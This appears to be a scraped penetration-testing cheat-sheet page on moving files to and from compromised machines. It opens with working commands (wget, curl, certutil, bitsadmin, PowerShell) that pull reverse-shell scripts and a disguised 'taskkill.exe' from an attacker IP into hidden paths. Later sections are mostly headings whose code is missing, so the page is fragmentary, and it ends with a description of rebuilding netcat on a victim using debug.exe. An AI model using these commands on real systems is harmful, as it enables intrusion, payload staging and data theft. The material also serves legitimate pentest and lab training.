Exfiltration
Copy&Paste Base64
Linux
base64 -w0 <file> #Encode file
base64 -d file #Decode fileWindows
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dllHTTP
Linux
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSDWindows
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -AsynchronousUpload files
****SimpleHttpServerWithFileUploads****
FTP
FTP server (python)
FTP server (NodeJS)
FTP server (pure-ftp)
Windows client
SMB
Kali as server
Or create a smb share using samba:
Windows
SCP
The attacker has to have SSHd running.
NC
/dev/tcp
Download file from victim
Upload file to victim
thanks to @BinaryShadow_
ICMP
SMTP
If you can send data to an SMTP server, you can create a SMTP to receive the data with python:
TFTP
By default in XP and 2003 (in others it need to be explicitly added during installation)
In Kali, start TFTP server:
TFTP server in python:
In victim, connect to the Kali server:
PHP
Download a file with a PHP oneliner:
VBScript
Victim
Debug.exe
This is a crazy technique that works on Windows 32 bit machines. Basically the idea is to use the debug.exe program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like netcat. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with debug.exe.
Debug.exe can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that:
Now it only weights 29 kb. Perfect. So now let's disassemble it:
Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe
最后更新于
这有帮助吗?